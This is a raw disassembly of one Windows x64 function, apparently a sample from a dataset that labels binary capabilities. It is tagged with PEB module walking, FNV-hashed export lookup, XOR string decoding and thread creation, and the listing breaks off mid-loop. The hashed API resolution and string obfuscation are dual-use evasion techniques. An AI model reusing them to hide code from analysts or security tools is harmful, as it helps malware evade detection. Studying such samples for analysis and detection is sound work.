Function at 0x14027bb60
Capabilities:
Access peb ldr_data
Check os version
Create thread
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x8b70]
mov eax, 0x8c70
call fcn.140314660
sub rsp, rax
movaps xmmword [rsp + 0x8c60], xmm6
movaps xmmword [rsp + 0x8c50], xmm7
mov rax, qword [0x140398130]
xor rax, rsp
mov qword [rbp + 0x8b40], rax
mov r15, rcx
xor r12d, r12d
movss xmm0, dword [rcx]
call fcn.1403268e8
movaps xmm6, xmm0
xor eax, eax
mov byte [rbp + 0x37], al
lea rdx, [rbp + 0x19c]
lea rcx, [rbp + 0x37]
call fcn.1402715d0
mov r9, rax
mov r8d, dword [rax + 4]
movzx ecx, byte [rax + 0xa]
mov edx, r8d
shr edx, cl
xorps xmm7, xmm7
test dl, 1
je 0x14027bbfb
movzx ecx, byte [rax]
inc cl
mov eax, r8d
shr eax, cl
test al, 1
jne 0x14027bc33
movzx edx, byte [r9]
lea eax, [rdx + 2]
movzx ecx, al
bt r8d, ecx
setae cl
bt r8d, edx
setae al
test al, cl
je 0x14027bc33
movzx ecx, byte [r9 + 8]
mov eax, r8d
shr eax, cl
test al, 1
jne 0x14027bc33
movzx ecx, byte [r9 + 9]
shr r8d, cl
test r8b, 1
je 0x14027bc5f
comiss xmm7, xmm6
jbe 0x14027bc5f
xorps xmm2, xmm2
cvtss2sd xmm2, xmm6
lea rdx, [r15 + 0x90]
movq r8, xmm2
lea rcx, str._s_f
call fcn.1402ae6e0
mov r15, r12
jmp 0x14027bd65
mov edx, dword [r15 + 0x350]
mov rcx, qword [r15 + 0x348]
call qword [sym.imp.GDI32.dll_SetBkColor]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov r14d, dword [rcx + rbx + 0x88]
add r14, rbx
cmp r14, rbx
je 0x14027bd19
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x14027bd19
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r11d
lea rcx, [rsi + r11*4]
mov r9d, dword [rcx + rbx]
add r9, rbx
mov r10d, 0xfe25f411
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x14027bd14
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x14027bce0
cmp r10d, 0xf1fafd9d
je 0x14027bd21
test r11d, r11d
jne 0x14027bcc0
mov rax, qword [rax]
jmp 0x14027bc90
mov ecx, dword [r14 + 0x1c]
add rcx, rbx
mov eax, dword [r14 + 0x24]
add rax, rbx
movzx eax, word [rax + r11*2]
mov ecx, dword [rcx + rax*4]
add rcx, rbx
call rcx
mov edx, eax
lea rcx, [0x140375eb8]
call fcn.1402ae6e0
call qword [sym.imp.WINMM.dll_timeGetTime]
mov dword [r15 + 0x384], eax
xor ecx, ecx
call fcn.14031a77c
mov dword [r15 + 0x388], eax
movss xmm0, dword [0x140398d54]
ucomiss xmm0, dword [r15]
jp 0x14027bd7a
jne 0x14027bd7a
mov rdi, r12
jmp 0x14027bdd2
mov r8d, 1
mov edx, r12d
mov r10d, dword [r15 + 0x90]
test r10d, r10d
jle 0x14027bdc4
nop
mov r9d, r12d
test edx, edx
jle 0x14027bdbd
nop word [rax + rax]
bt r9d, 0
lea eax, [rdx + 1]
cmovae eax, edx
mov edx, eax
lea rax, [r8 + 0x18]
cmovae r8, rax
inc r9d
cmp r9d, edx
jl 0x14027bda0
inc edx
cmp edx, r10d
jl 0x14027bd90
mov rax, qword [r15 + r8 + 0x148]
mov rcx, qword [rax]
mov rdi, qword [rcx]
mov r14, r12
cmp byte [rdi], r12b
je 0x14027be10
nop word [rax + rax]
inc rdi
inc r14
movzx ecx, byte [rdi]
mov eax, 0xaaaaaaab
mul ecx
shr edx, 1
lea eax, [rdx + rdx*2]
sub ecx, eax
cmp ecx, 1
jne 0x14027be02
add rdi, 3
jmp 0x14027be0a
test r14, r14
jne 0x14027be0a
inc rdi
cmp byte [rdi + r14], r12b
jne 0x14027bde0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov r13d, dword [rcx + rbx + 0x88]
add r13, rbx
cmp r13, rbx
je 0x14027beb9
mov r11d, dword [r13 + 0x18]
test r11d, r11d
je 0x14027beb9
mov r15d, dword [r13 + 0x20]
nop word [rax + rax]
dec r11d
lea rcx, [r15 + r11*4]
mov r9d, dword [rcx + rbx]
add r9, rbx
mov r10d, 0x3674fc09
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x14027beb4
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x14027be80
cmp r10d, 0x3fc264a3
je 0x14027bec1
test r11d, r11d
jne 0x14027be60
mov rax, qword [rax]
jmp 0x14027be30
mov ecx, dword [r13 + 0x1c]
add rcx, rbx
mov eax, dword [r13 + 0x24]
add rax, rbx
movzx eax, word [rax + r11*2]
mov ecx, dword [rcx + rax*4]
add rcx, rbx
call rcx
mov ebx, eax
add rbx, r14
add rbx, rdi
call fcn.1402779d0
movss xmm0, dword [0x140398d54]
ucomiss xmm0, dword [rbx]
jp 0x14027befd
jne 0x14027befd
mov rbx, r12
jmp 0x14027bf52
mov r8d, 1
mov edx, r12d
mov r10d, dword [rbx + 0x90]
test r10d, r10d
jle 0x14027bf44
mov r9d, r12d
test edx, edx
jle 0x14027bf3d
nop dword [rax]
bt r9d, 0
lea eax, [rdx + 1]
cmovae eax, edx
mov edx, eax
lea rax, [r8 + 0x18]
cmovae r8, rax
inc r9d
cmp r9d, edx
jl 0x14027bf20
inc edx
cmp edx, r10d
jl 0x14027bf12
mov rax, qword [rbx + r8 + 0x148]
mov rcx, qword [rax]
mov rbx, qword [rcx]
mov r10d, r12d
movsxd rsi, dword [rbx]
mov r13, 0xffffffffffffffff
test esi, esi
jle 0x14027bfb8
mov r11, r12
nop word [rax + rax]
mov eax, 1
test r11, r11
cmovne rax, r11
mov r8d, dword [rbx + rax*4 + 4]
mov r9d, 1
cmp dword [rbx + rax*4 + 8], r8d
cmovl r9, r13
add r9, rax
lea ecx, [r10 + 1]
test r11, r11
cmovne ecx, r10d
mov r10d, 1
cmp dword [rbx + rax*4 + 8], r8d
cmovl r10d, r13d
add r10d, ecx
mov r11, r9
cmp r9, rsi
jl 0x14027bf70
imul esi, r10d
movsxd rdi, esi
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0x8a30]
call fcn.1403163f0
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x20]
mov rdx, qword [rbx + rdi*4 + 0x18]
lea rcx, [rbp + 0x8a30]
call fcn.1402acb80
nop
xor eax, eax
cmp qword [rbp + 0x8ac0], rax
je 0x14027c090
movdqa xmm0, xmmword [reloc.d2d1.dll_Ordinal_1]
movdqu xmmword [rbp + 0xa70], xmm0
mov qword [rbp + 0xa80], rax
movaps xmmword [rbp + 0xa50], xmm0
movsd xmm0, qword [rbp + 0xa80]
movsd qword [rbp + 0xa60], xmm0
lea rdx, [rbp + 0xa50]
lea rcx, [rbp + 0x8a30]
call fcn.1402acd60
xor eax, eax
mov word [rbp + 0x8360], ax
lea r8d, [rax + 1]
lea rdx, [rbp + 0x8360]
lea rcx, [rbp + 0x8a30]
call fcn.1400f20f0
lea rcx, [rbp + 0x8a30]
call fcn.14006e910
cmp byte [rbp + 0x8360], 0x30
jne 0x14027c2bb
lea rbx, [rbx + rdi*4]
add rbx, 0xc30
jmp 0x14027c2be
mov byte [rbp + 0x48], al
lea rdx, [rbp + 0xfe0]
lea rcx, [rbp + 0x48]
call fcn.140276b10
mov r9, rax
lea r15, [rax + 0x1e]
mov word [r15 + 0xa], r12w
mov r11d, r12d
mov r10, r15
nop word [rax + rax]
lea esi, [r11 + r11*2]
movzx edx, word [r9 + rsi*2]
mov word [r10], dx
movzx eax, r11w
add ax, ax
lea edi, [rax + r11]
movzx r8d, byte [r9 + 0x2c]
add r8w, di
xor r8w, dx
mov word [r10], r8w
xor dl, dl
lea eax, [rsi + 1]
movzx ebx, word [r9 + rax*2]
movzx ecx, dl
movzx eax, bx
shr ax, cl
test al, 1
jne 0x14027c109
inc dl
cmp dl, 4
jne 0x14027c0f3
jmp 0x14027c11a
movzx r8d, r8w
movzx eax, byte [r9 + 0x2f]
btc r8d, eax
mov word [r10], r8w
mov cl, 5
lea eax, [rsi + 2]
mov ebx, eax
movzx edx, word [r9 + rax*2]
movzx eax, dx
shr ax, cl
test al, 1
jne 0x14027c139
inc cl
cmp cl, 8
jne 0x14027c126
jmp 0x14027c14d
movzx ecx, r8w
movzx eax, byte [r9 + 0x2e]
btc ecx, eax
movzx r8d, cx
mov word [r10], cx
xor cl, cl
movzx edx, word [r9 + rbx*2]
movzx eax, dx
shr ax, cl
test al, 1
jne 0x14027c167
inc cl
cmp cl, 5
jne 0x14027c154
jmp 0x14027c17b
movzx ecx, r8w
movzx eax, byte [r9 + 0x2d]
btc ecx, eax
movzx r8d, cx
mov word [r10], cx
movzx eax, byte [r9 + 0x2b]
add ax, di
xor ax, r8w
mov word [r10], ax
inc r11d
add r10, 2
cmp r11d, 5
jne 0x14027c0c0
xor eax, eax
mov byte [rbp + 0x5a], al
lea rdx, [rbp + 0x1490]
lea rcx, [rbp + 0x5a]
call fcn.140276aa0
mov r9, rax
lea r14, [rax + 0x2a]
mov word [r14 + 0xe], r12w
mov r11d, r12d
mov r10, r14
lea esi, [r11 + r11*2]
movzx edx, word [r9 + rsi*2]
mov word [r10], dx
movzx eax, r11w
add ax, ax
lea edi, [rax + r11]
movzx r8d, byte [r9 + 0x3c]
add r8w, di
xor r8w, dx
mov word [r10], r8w
xor dl, dl
lea eax, [rsi + 1]
movzx ebx, word [r9 + rax*2]
nop word [rax + rax]
movzx ecx, dl
movzx eax, bx
shr ax, cl
test al, 1
jne 0x14027c216
inc dl
cmp dl, 4
jne 0x14027c200
jmp 0x14027c227
movzx r8d, r8w
movzx eax, byte [r9 + 0x3f]
btc r8d, eax
mov word [r10], r8w
mov cl, 5
lea eax, [rsi + 2]
mov ebx, eax
movzx edx, word [r9 + rax*2]
movzx eax, dx
shr ax, cl
test al, 1
jne 0x14027c246
inc cl
cmp cl, 8
jne 0x14027c233
jmp 0x14027c25a
movzx ecx, r8w
movzx eax, byte [r9 + 0x3e]
btc ecx, eax
movzx r8d, cx
mov word [r10], cx
xor cl, cl
movzx edx, word [r9 + rbx*2]
movzx eax, dx
shr ax, cl
test al, 1
jne 0x14027c274
inc cl
cmp cl, 5
jne 0x14027c261
jmp 0x14027c288
movzx ecx, r8w
movzx eax, byte [r9 + 0x3d]
btc ecx, eax
movzx r8d, cx
mov word [r10], cx
movzx eax, byte [r9 + 0x3b]
add ax, di
xor ax, r8w
mov word [r10], ax
inc r11d
add r10, 2
cmp r11d, 7
jne 0x14027c1c3
xor r9d, r9d
mov r8, r15
mov rdx, r14
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
nop
mov rbx, r13
lea rcx, [rbp + 0x8ae0]
call fcn.14006cc70
lea rcx, [rbp + 0x8ae0]
call fcn.140074030
movss xmm0, dword [0x140398d54]
ucomiss xmm0, dword [rbx]
jp 0x14027c2e9
je 0x14027c3b2
mov r8d, 1
mov edx, r12d
mov r10d, dword [rbx + 0x90]
test r10d, r10d
jle 0x14027c334
nop
mov r9d, r12d
test edx, edx
jle 0x14027c32d
nop word [rax + rax]
bt r9d, 0
lea eax, [rdx + 1]
cmovae eax, edx
mov edx, eax
lea rax, [r8 + 0x18]
cmovae r8, rax
inc r9d
cmp r9d, edx
jl 0x14027c310
inc edx
cmp edx, r10d
jl 0x14027c300
mov rax, qword [r8 + rbx + 0x148]
mov rcx, qword [rax]
mov rbx, qword [rcx]
test rbx, rbx
je 0x14027c3b2
lea rdx, [rbx + 0x340]
movzx eax, byte [rbx + 0x9a]
mov byte [rsp + 0x30], al
mov eax, dword [rbx + 0x6c]
mov dword [rsp + 0x28], eax
movzx eax, byte [rbx + 0x84]
mov byte [rsp + 0x20], al
movzx r9d, byte [rbx + 0x72]
movss xmm2, dword [rbx + 0x38]
movss xmm1, dword [rbx + 0x34]
mov rcx, rbx
call rdx
test al, al
je 0x14027c389
mov r15, qword [rbx + 0x40]
jmp 0x14027c390
mov r15, qword [rbx + 0x118]
test r15, r15
je 0x14027c3b5
mov edx, dword [r15 + 0x18]
imul edx, dword [r15 + 0x10]
mov eax, dword [r15 + 0x38]
lea ecx, [rax + rax*4]
add ecx, ecx
sub edx, ecx
movsxd rax, edx
movsxd r15, dword [r15 + rax*4]
jmp 0x14027c3b5
mov r15, r12
mov ecx, 4
mov rax, qword gs:[0x58]
mov rax, qword [rax]
mov r13d, 2
mov qword [rbp + 0x110], r13
mov qword [rbp + 0x118], 3
mov eax, dword [rcx + rax]
cmp dword [0x1403d2e30], eax
jle 0x14027dc19
lea rcx, [0x1403d2e30]
call fcn.140313e18
cmp dword [0x1403d2e30], 0xffffffff
jne 0x14027dc19
xorps xmm0, xmm0
xor eax, eax
movups xmmword [0x1403d2e38], xmm0
mov qword [0x1403d2e48], rax
mov byte [rsp + 0x43], al
lea rdx, [rbp + 0x5150]
lea rcx, [rsp + 0x43]
call fcn.140274120
mov r9, rax
mov byte [rax + 0xb0], 0
mov r11d, r12d
lea r8, [rax + 0x84]
nop dword [rax]
nop word [rax + rax]
lea esi, [r11 + r11*2]
movzx edx, byte [rsi + r9]
mov byte [r8], dl
movzx eax, r11b
add al, al
lea ebx, [rax + r11]
movzx r10d, bl
add r10b, byte [r9 + 0xb3]
xor r10b, dl
mov byte [r8], r10b
xor dl, dl
lea eax, [rsi + 1]
movzx edi, byte [rax + r9]
movzx eax, dil
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14027c497
inc dl
cmp dl, 4
jne 0x14027c481
jmp 0x14027c4a9
movsx ecx, r10b
movzx eax, byte [r9 + 0xb6]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rsi + 2]
mov r10d, eax
movzx edx, byte [rax + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027c4c8
inc cl
cmp cl, 8
jne 0x14027c4b6
jmp 0x14027c4da
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0xb5]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r10 + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027c4f3
inc cl
cmp cl, 5
jne 0x14027c4e1
jmp 0x14027c505
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0xb4]
btc ecx, eax
mov byte [r8], cl
add bl, byte [r9 + 0xb2]
xor byte [r8], bl
inc r11d
inc r8
cmp r11d, 0x2c
jne 0x14027c450
lea rdx, [r9 + 0x84]
lea rcx, [rbp + 0xd40]
call fcn.140086d40
nop
lea rax, [rbp + 0xd40]
mov qword [rbp + 0x70], rax
lea rax, [rbp + 0xd60]
mov qword [rbp + 0x78], rax
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x448]
call fcn.1402ac810
nop
movzx eax, byte [r15 + 0x35]
mov byte [rbp + 0x5390], al
lea rdx, [rbp + 0x448]
lea rcx, [rbp + 0x5398]
call fcn.1402ae0f0
nop
xor eax, eax
mov byte [rsp + 0x44], al
lea rdx, [rbp + 0x2230]
lea rcx, [rsp + 0x44]
call fcn.140274260
mov r9, rax
mov byte [rax + 0x40], 0
mov r11d, r12d
lea r8, [rax + 0x30]
nop
lea esi, [r11 + r11*2]
movzx edx, byte [rsi + r9]
mov byte [r8], dl
movzx eax, r11b
add al, al
lea ebx, [rax + r11]
movzx r10d, bl
add r10b, byte [r9 + 0x43]
xor r10b, dl
mov byte [r8], r10b
xor dl, dl
lea eax, [rsi + 1]
movzx edi, byte [rax + r9]
nop
movzx eax, dil
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14027c5e6
inc dl
cmp dl, 4
jne 0x14027c5d0
jmp 0x14027c5f5
movsx ecx, r10b
movzx eax, byte [r9 + 0x46]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rsi + 2]
mov r10d, eax
movzx edx, byte [rax + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027c614
inc cl
cmp cl, 8
jne 0x14027c602
jmp 0x14027c623
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0x45]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r10 + r9]
nop word [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027c642
inc cl
cmp cl, 5
jne 0x14027c630
jmp 0x14027c651
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0x44]
btc ecx, eax
mov byte [r8], cl
add bl, byte [r9 + 0x42]
xor byte [r8], bl
inc r11d
inc r8
cmp r11d, 0x10
jne 0x14027c5a0
lea rdx, [r9 + 0x30]
lea rcx, [rbp + 0x16c0]
call fcn.140086d40
nop
xor eax, eax
mov byte [rsp + 0x45], al
lea rdx, [rbp + 0x2e60]
lea rcx, [rsp + 0x45]
call fcn.1402742d0
mov r9, rax
mov byte [rax + 0x58], 0
mov r11d, r12d
lea r8, [rax + 0x42]
nop
lea esi, [r11 + r11*2]
movzx edx, byte [rsi + r9]
mov byte [r8], dl
movzx eax, r11b
add al, al
lea ebx, [rax + r11]
movzx r10d, bl
add r10b, byte [r9 + 0x5b]
xor r10b, dl
mov byte [r8], r10b
xor dl, dl
lea eax, [rsi + 1]
movzx edi, byte [rax + r9]
nop
movzx eax, dil
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14027c6e6
inc dl
cmp dl, 4
jne 0x14027c6d0
jmp 0x14027c6f5
movsx ecx, r10b
movzx eax, byte [r9 + 0x5e]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rsi + 2]
mov r10d, eax
movzx edx, byte [rax + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027c714
inc cl
cmp cl, 8
jne 0x14027c702
jmp 0x14027c723
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0x5d]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r10 + r9]
nop word [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027c742
inc cl
cmp cl, 5
jne 0x14027c730
jmp 0x14027c751
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0x5c]
btc ecx, eax
mov byte [r8], cl
add bl, byte [r9 + 0x5a]
xor byte [r8], bl
inc r11d
inc r8
cmp r11d, 0x16
jne 0x14027c6a0
lea rdx, [r9 + 0x42]
lea rcx, [rbp + 0x16e0]
call fcn.140086d40
nop
lea rax, [rbp + 0x16c0]
mov qword [rbp + 0x90], rax
lea rax, [rbp + 0x1700]
mov qword [rbp + 0x98], rax
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0x458]
call fcn.1402ac810
nop
movzx eax, byte [r15 + 0x36]
mov byte [rbp + 0x53a8], al
lea rdx, [rbp + 0x458]
lea rcx, [rbp + 0x53b0]
call fcn.1402ae0f0
nop
xor eax, eax
mov byte [rsp + 0x46], al
lea rdx, [rbp + 0x48d0]
lea rcx, [rsp + 0x46]
call fcn.140274370
mov r9, rax
mov byte [rax + 0x8c], 0
mov r11d, r12d
lea r8, [rax + 0x69]
lea esi, [r11 + r11*2]
movzx edx, byte [rsi + r9]
mov byte [r8], dl
movzx eax, r11b
add al, al
lea ebx, [rax + r11]
movzx r10d, bl
add r10b, byte [r9 + 0x8f]
xor r10b, dl
mov byte [r8], r10b
xor dl, dl
lea eax, [rsi + 1]
movzx edi, byte [rax + r9]
movzx eax, dil
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14027c837
inc dl
cmp dl, 4
jne 0x14027c821
jmp 0x14027c849
movsx ecx, r10b
movzx eax, byte [r9 + 0x92]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rsi + 2]
mov r10d, eax
movzx edx, byte [rax + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027c868
inc cl
cmp cl, 8
jne 0x14027c856
jmp 0x14027c87a
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0x91]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r10 + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027c893
inc cl
cmp cl, 5
jne 0x14027c881
jmp 0x14027c8a5
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0x90]
btc ecx, eax
mov byte [r8], cl
add bl, byte [r9 + 0x8e]
xor byte [r8], bl
inc r11d
inc r8
cmp r11d, 0x23
jne 0x14027c7f0
lea rdx, [r9 + 0x69]
lea rcx, [rbp + 0x3ba0]
call fcn.140086d40
nop
xor eax, eax
mov byte [rsp + 0x47], al
lea rdx, [rbp + 0x1700]
lea rcx, [rsp + 0x47]
call fcn.140274470
mov r9, rax
mov byte [rax + 0x38], 0
mov r11d, r12d
lea r8, [rax + 0x2a]
nop word [rax + rax]
lea esi, [r11 + r11*2]
movzx edx, byte [rsi + r9]
mov byte [r8], dl
movzx eax, r11b
add al, al
lea ebx, [rax + r11]
movzx r10d, bl
add r10b, byte [r9 + 0x3b]
xor r10b, dl
mov byte [r8], r10b
xor dl, dl
lea eax, [rsi + 1]
movzx edi, byte [rax + r9]
nop
movzx eax, dil
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14027c946
inc dl
cmp dl, 4
jne 0x14027c930
jmp 0x14027c955
movsx ecx, r10b
movzx eax, byte [r9 + 0x3e]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rsi + 2]
mov r10d, eax
movzx edx, byte [rax + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027c974
inc cl
cmp cl, 8
jne 0x14027c962
jmp 0x14027c983
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0x3d]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r10 + r9]
nop word [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027c9a2
inc cl
cmp cl, 5
jne 0x14027c990
jmp 0x14027c9b1
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0x3c]
btc ecx, eax
mov byte [r8], cl
add bl, byte [r9 + 0x3a]
xor byte [r8], bl
inc r11d
inc r8
cmp r11d, 0xe
jne 0x14027c900
lea rdx, [r9 + 0x2a]
lea rcx, [rbp + 0x3bc0]
call fcn.140086d40
nop
xor eax, eax
mov byte [rsp + 0x48], al
lea rdx, [rbp + 0x2ec0]
lea rcx, [rsp + 0x48]
call fcn.1402744e0
mov r9, rax
mov byte [rax + 0x58], 0
mov r11d, r12d
lea r8, [rax + 0x42]
nop
lea esi, [r11 + r11*2]
movzx edx, byte [rsi + r9]
mov byte [r8], dl
movzx eax, r11b
add al, al
lea ebx, [rax + r11]
movzx r10d, bl
add r10b, byte [r9 + 0x5b]
xor r10b, dl
mov byte [r8], r10b
xor dl, dl
lea eax, [rsi + 1]
movzx edi, byte [rax + r9]
nop
movzx eax, dil
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14027ca46
inc dl
cmp dl, 4
jne 0x14027ca30
jmp 0x14027ca55
movsx ecx, r10b
movzx eax, byte [r9 + 0x5e]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rsi + 2]
mov r10d, eax
movzx edx, byte [rax + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027ca74
inc cl
cmp cl, 8
jne 0x14027ca62
jmp 0x14027ca83
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0x5d]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r10 + r9]
nop word [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027caa2
inc cl
cmp cl, 5
jne 0x14027ca90
jmp 0x14027cab1
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0x5c]
btc ecx, eax
mov byte [r8], cl
add bl, byte [r9 + 0x5a]
xor byte [r8], bl
inc r11d
inc r8
cmp r11d, 0x16
jne 0x14027ca00
lea rdx, [r9 + 0x42]
lea rcx, [rbp + 0x3be0]
call fcn.140086d40
nop
xor eax, eax
mov byte [rsp + 0x49], al
lea rdx, [rbp + 0x5450]
lea rcx, [rsp + 0x49]
call fcn.140274580
mov r9, rax
mov byte [rax + 0xc4], 0
mov r11d, r12d
lea r8, [rax + 0x93]
nop dword [rax]
nop dword [rax + rax]
lea esi, [r11 + r11*2]
movzx edx, byte [rsi + r9]
mov byte [r8], dl
movzx eax, r11b
add al, al
lea ebx, [rax + r11]
movzx r10d, bl
add r10b, byte [r9 + 0xc7]
xor r10b, dl
mov byte [r8], r10b
xor dl, dl
lea eax, [rsi + 1]
movzx edi, byte [rax + r9]
movzx eax, dil
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14027cb57
inc dl
cmp dl, 4
jne 0x14027cb41
jmp 0x14027cb69
movsx ecx, r10b
movzx eax, byte [r9 + 0xca]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rsi + 2]
mov r10d, eax
movzx edx, byte [rax + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027cb88
inc cl
cmp cl, 8
jne 0x14027cb76
jmp 0x14027cb9a
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0xc9]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r10 + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027cbb3
inc cl
cmp cl, 5
jne 0x14027cba1
jmp 0x14027cbc5
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0xc8]
btc ecx, eax
mov byte [r8], cl
add bl, byte [r9 + 0xc6]
xor byte [r8], bl
inc r11d
inc r8
cmp r11d, 0x31
jne 0x14027cb10
lea rdx, [r9 + 0x93]
lea rcx, [rbp + 0x3c00]
call fcn.140086d40
nop
lea rax, [rbp + 0x3ba0]
mov qword [rbp + 0xf0], rax
lea rax, [rbp + 0x3c20]
mov qword [rbp + 0xf8], rax
lea rdx, [rbp + 0xf0]
lea rcx, [rbp + 0x468]
call fcn.1402ac810
nop
movzx eax, byte [r15 + 0x37]
mov byte [rbp + 0x53c0], al
lea rdx, [rbp + 0x468]
lea rcx, [rbp + 0x53c8]
call fcn.1402ae0f0
nop
xor eax, eax
mov byte [rsp + 0x4a], al
lea rdx, [rbp + 0x7120]
lea rcx, [rsp + 0x4a]
call fcn.1402746f0
mov r9, rax
mov byte [rax + 0x180], 0
mov r11d, r12d
lea r8, [rax + 0x120]
nop dword [rax]
lea esi, [r11 + r11*2]
movzx edx, byte [rsi + r9]
mov byte [r8], dl
movzx eax, r11b
add al, al
lea ebx, [rax + r11]
movzx r10d, bl
add r10b, byte [r9 + 0x183]
xor r10b, dl
mov byte [r8], r10b
xor dl, dl
lea eax, [rsi + 1]
movzx edi, byte [rax + r9]
movzx eax, dil
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14027ccb7
inc dl
cmp dl, 4
jne 0x14027cca1
jmp 0x14027ccc9
movsx ecx, r10b
movzx eax, byte [r9 + 0x186]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rsi + 2]
mov r10d, eax
movzx edx, byte [rax + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027cce8
inc cl
cmp cl, 8
jne 0x14027ccd6
jmp 0x14027ccfa
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0x185]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r10 + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027cd13
inc cl
cmp cl, 5
jne 0x14027cd01
jmp 0x14027cd25
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0x184]
btc ecx, eax
mov byte [r8], cl
add bl, byte [r9 + 0x182]
xor byte [r8], bl
inc r11d
inc r8
cmp r11d, 0x60
jne 0x14027cc70
lea rdx, [r9 + 0x120]
lea rcx, [rbp + 0x1740]
call fcn.140086d40
nop
xor eax, eax
mov byte [rsp + 0x4b], al
lea rdx, [rbp + 0x6e80]
lea rcx, [rsp + 0x4b]
call fcn.140274a00
mov r9, rax
mov byte [rax + 0x144], 0
mov r11d, r12d
lea r8, [rax + 0xf3]
nop
lea esi, [r11 + r11*2]
movzx edx, byte [rsi + r9]
mov byte [r8], dl
movzx eax, r11b
add al, al
lea ebx, [rax + r11]
movzx r10d, bl
add r10b, byte [r9 + 0x147]
xor r10b, dl
mov byte [r8], r10b
xor dl, dl
lea eax, [rsi + 1]
movzx edi, byte [rax + r9]
movzx eax, dil
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14027cdc7
inc dl
cmp dl, 4
jne 0x14027cdb1
jmp 0x14027cdd9
movsx ecx, r10b
movzx eax, byte [r9 + 0x14a]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rsi + 2]
mov r10d, eax
movzx edx, byte [rax + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027cdf8
inc cl
cmp cl, 8
jne 0x14027cde6
jmp 0x14027ce0a
